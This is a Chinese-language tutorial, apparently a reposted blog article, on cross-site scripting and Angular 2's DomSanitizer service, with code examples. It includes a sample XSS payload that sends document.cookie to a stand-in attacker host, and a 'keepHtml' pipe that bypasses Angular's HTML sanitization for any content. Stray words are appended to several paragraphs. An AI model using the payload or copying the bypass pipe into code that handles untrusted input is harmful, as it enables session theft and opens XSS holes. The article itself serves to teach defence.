Angular 2 DomSanitizer

Cross-site scripting (跨站脚本)

跨站脚本Cross-site scripting,一般简称为XSS)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它容许恶意用户将代码注入到网页上,其余用户在观看网页时就会受到影响。这类攻击一般包含了HTML以及用户端脚本语言javascript

XSS攻击一般指的是经过利用网页开发时留下的漏洞,经过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序一般是JavaScript,但实际上也能够包括JavaVBScriptActiveXFlash或者甚至是普通的HTML。攻击成功后,攻击者可能获得更高的权限(如执行一些操做)、私密网页内容、会话cookie等各类内容。 — 维基百科html

Cross-site scripting 示例

互联网上的几乎每一个博客都有一个评论的系统,容许用户对文章发表评论。评论信息通常使用经常使用的 HTML 表单进行提交。具体示例以下:java

<form>
  <textarea class="comment" cols="30" rows="10"></textarea>
  <button type="submit">Submit</button>
</form>
  
<h1>Comments</h1>
<ul></ul>

var $form = $('form');
var $comment = $('.comment');
var $ul = $('ul');

$form.on('submit', e => {
  e.preventDefault();
  var value = $($comment).val(); 
  if(value) {
    $($ul).append(`<li>${value}</li>`);
  }
});

如今假设攻击者将如下代码做为评论信息发送到服务器:typescript

<script>
   window.location=’http://attacker/?cookie='+document.cookie
</script>

若是网站没有保护本身免受跨站脚本的攻击,该内容将被保存到数据库中,访问该页面的全部用户将重定向到攻击者的URL。然而现实中一个真正的攻击者会建立一个更危险的脚本,例如,攻击者能够记录键盘事件并将这些信息发送到他本身拥有的服务器。shell

刚才咱们看到的,只是 XSS 攻击的一个简单示例,它还能够有许多形式,如URL查询,href属性,CSS等等...数据库

若是你想了解更多关于XSS的信息,能够浏览这个网站 - excess-xsssegmentfault

Angular 2 如何保护咱们免受 XSS 攻击

Angular 2 中默认将全部输入值视为不受信任。当咱们经过 property,attribute,样式,类绑定或插值等方式,将一个值从模板中插入到DOM中时,Angular 2 会自帮咱们清除和转义不受信任的值。咱们来看一下具体示例:浏览器

import { Component } from '@angular/core';

@Component({
  selector: 'exe-app',
  template: `
   <div [innerHtml]="html"></div>
  `
})
export class AppComponent {
  html: string;
  constructor() {
    this.html = "<h1>DomSanitizer</h1><script>attackerCode()</script>";    
  }
}

以上代码运行后浏览器显示的结果:安全

图片描述

从上图能够看出,Angular 2 在编译的时候,会自动清理 HTML 输入并转义不安全的代码,所以在这种状况下,脚本不会运行,只能在屏幕上显示为文本。接下来咱们继续来看一个例子,如何绑定 iframe 的 src 属性值:服务器

import { Component } from '@angular/core';

@Component({
  selector: 'exe-app',
  template: `
    <iframe [src]="iframe"></iframe>
  `
})
export class AppComponent {
  iframe: string;
  constructor() {
    this.iframe = "https://segmentfault.com/";       
  }
}

以上代码运行后,在浏览器中没法正常显示内容,控制台中输出了如下异常信息:

EXCEPTION: Error in ./AppComponent class AppComponent - inline template:1:12 caused by: unsafe value used in a resource URL context (see http://g.co/ng/security#xss)

Angular 抛出此错误是由于 iframe 的 src 属性是资源 URL 安全上下文,由于不可信源能够在用户不知情的状况下执行某些不安全的操做。但若是咱们确认资源的 URL 是安全的,要怎么告知 Angular 该 URL 地址是安全的,给咱们通行证呢 ?答案是,咱们可使用 Angular 2 中提供的 DomSanitizer 服务,具体示例以下:

import { Component } from '@angular/core';
import { DomSanitizer, SafeResourceUrl } from '@angular/platform-browser'

@Component({
  selector: 'exe-app',
  template: `
    <iframe [src]="iframe"></iframe>
  `
})
export class AppComponent {
  iframe: SafeResourceUrl;
  
  constructor(private sanitizer: DomSanitizer) {
    this.iframe = this.sanitizer.bypassSecurityTrustResourceUrl(
      "https://segmentfault.com/");       
  }
}

以上代码运行后,在浏览器中咱们就能够看到正常的内容。另外须要注意的是,若是不受信任的用户数据调用这些方法,咱们的应用程序将会存在 XSS 安全风险。

DomSanitizer - sanitize() 方法

有时后咱们须要手动过滤输入值,这时你可使用 sanitize 方法,它的签名以下:

abstract sanitize(context: SecurityContext, value: any): string;

该方法的第一个参数表示 SecurityContext (安全上下文),它的可选值以下:

  • None

  • HTML

  • STYLE

  • SCRIPT

  • URL

  • RESOURCE_URL

sanitize 方法的使用示例以下:

import { Component, SecurityContext } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser'

@Component({
  selector: 'exe-app',
  template: `
   <div [innerHtml]="html"></div>
  `
})
export class AppComponent {
  html: string;
  constructor(private sanitizer: DomSanitizer) {
    this.html = this.sanitizer.sanitize(SecurityContext.HTML, 
                    "<h1>Sanitize</h1><script>attackerCode()</script>");   
    console.log(this.html); 
  }
}

以上代码运行后,控制台的输出信息:

WARNING: sanitizing HTML stripped some content (see http://g.co/ng/security#xss).
app.component.ts:15 <h1>Sanitize</h1>attackerCode()

自定义 keepHtml 指令

keepHtml 指令定义

import { Pipe, PipeTransform } from '@angular/core';
import { DomSanitizer } from '@angular/platform-browser';

@Pipe({ name: 'keepHtml', pure: false })
export class EscapeHtmlPipe implements PipeTransform {
  constructor(private sanitizer: DomSanitizer) {
  }

  transform(content) {
    return this.sanitizer.bypassSecurityTrustHtml(content);
  }
}

keepHtml 指令使用

<div [innerHTML]="post.body | keepHtml"></div>

参考资源